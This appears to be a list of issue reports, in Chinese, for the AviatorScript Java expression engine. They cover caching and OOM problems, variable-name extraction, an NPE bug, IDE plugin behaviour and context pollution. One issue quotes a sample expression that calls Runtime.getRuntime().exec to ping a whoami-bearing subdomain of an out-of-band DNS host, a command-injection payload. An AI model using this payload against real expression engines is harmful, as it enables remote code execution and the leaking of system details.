-
我使用的是5.1.4版本,因为配置错了表达式,导致虽然开启了cache,但是每次依然需要newCodeGenerator,最终导致系统metaspace oom。
分析内存后发现大量的script类,
想请教下是否是这个原因导致oom?
另外想请教下这个在5.3.3已经修复了这个问题吗?
-
使用 disableFeature 或 removeFunction 的时候,只能是在 execute 后才能报错 “xxx not found”
能否在compile时就能发现?
这种行为更像是解释型?
更有点不解5.3之后的编译和解释两种模式了
-
比如这个表达式:"T(java.lang.Runtime).getRuntime().exec(\"ping `whoami'.794e7834a8.ipv6.1433.eu.org\")"
取出 getRuntime、exec 这两个方法名
-
use java.lang.Thread;
Thread.sleep(2000);
return 1 > 0;
期望的variables: []
实际的variables: ["java.lang.Thread"]
-
`let appkey = get_appkey("com.sankuai.aaa.bbb.ccc");
if appkey != nil{
return appkey.serviceLevel;
}
return nil;`
getVariableFullNames返回["appkey.serviceLevel"],与预期为[]不一致,请问是feature还是bug
-
com.googlecode.aviator.runtime.function.system.LogFunction类中:
若obj的值为null,则下方代码中的obj.getClass()会抛NPE异常
throw new ClassCastException("Could not cast " + obj.getClass().getName() + " to long");
!…
-
作者你好,我这边遇到一个困难,就是在跳过运行阶段,去校验脚本的正确性,比如需要获取所有的变量、和获取所有的调用的函数。
获取所有变量好像可以通过getVariableFullNames()获取,但是获取脚本内调用的函数,无法获取,想看看有没啥好办法
-
“选中脚本语句执行“Run Aviator”命令的时候,能自动把“AviatorScript Console”面板展示出来。
否则第一次运行的时候没有展示出面板,给人的感觉好像插件没作用似的。”
-
希望添加类似于Expression#getVaraibleNames的方法,以获取表达式中所使用到的自定义方法(或者所有方法)。
自己去表达式字符串中查找,不严谨,可能存在转义,或本身是字符串常量而非方法调用的问题
-
在执行一个表达上时,如果表达式比较复杂,且有中间变量的定义,那么最终输出结果的同时,会把中间变量的值也放在context中,直接污染了业务系统传进去的context了。aviator底层在执行的时候,也不应该去污染业务系统传进去的context呢?
比如context={name=xiaoming}
执行表达式:let a=name; return name.test.result;
输出结…